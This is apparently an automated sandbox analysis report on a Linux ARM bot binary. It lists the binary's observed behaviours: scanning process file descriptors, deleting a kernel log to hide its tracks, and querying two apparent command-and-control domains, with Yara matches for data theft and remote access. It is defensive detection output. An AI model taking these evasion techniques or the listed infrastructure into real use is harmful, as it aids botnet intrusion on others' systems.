Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/131/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/133/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/378/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/931/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/812/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/933/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/142/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/145/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/268/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/271/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/273/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/275/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/276/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/277/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/279/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/158/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/280/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/282/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/283/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/284/fd Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5831) File opened: /proc/285/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection

barindex
Source: /tmp/la.bot.arm.elf (PID: 5832) Log files deleted: /var/log/kern.log Jump to behavior
Source: /tmp/la.bot.arm.elf (PID: 5829) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.arm.elf, 5829.1.000055e34a3b6000.000055e34a504000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5829.1.00007ffd0bf8f000.00007ffd0bfb0000.rw-.sdmp Binary or memory string: lx86_64/usr/bin/qemu-arm/tmp/la.bot.arm.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm.elf
Source: la.bot.arm.elf, 5829.1.000055e34a3b6000.000055e34a504000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm.elf, 5829.1.00007ffd0bf8f000.00007ffd0bfb0000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm

HIPS / PFW / Operating System Protection Evasion

barindex
Source: Traffic DNS traffic detected: queries for: rib.codingdrunk.cc
Source: Traffic DNS traffic detected: queries for: war.codingdrunk.in

Stealing of Sensitive Information

barindex
Source: Yara match File source: la.bot.arm.elf, type: SAMPLE
Source: Yara match File source: 5829.1.00007f60f8017000.00007f60f802d000.r-x.sdmp, type: MEMORY

Remote Access Functionality

barindex
Source: Yara match File source: la.bot.arm.elf, type: SAMPLE
Source: Yara match File source: 5829.1.00007f60f8017000.00007f60f802d000.r-x.sdmp, type: MEMORY
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs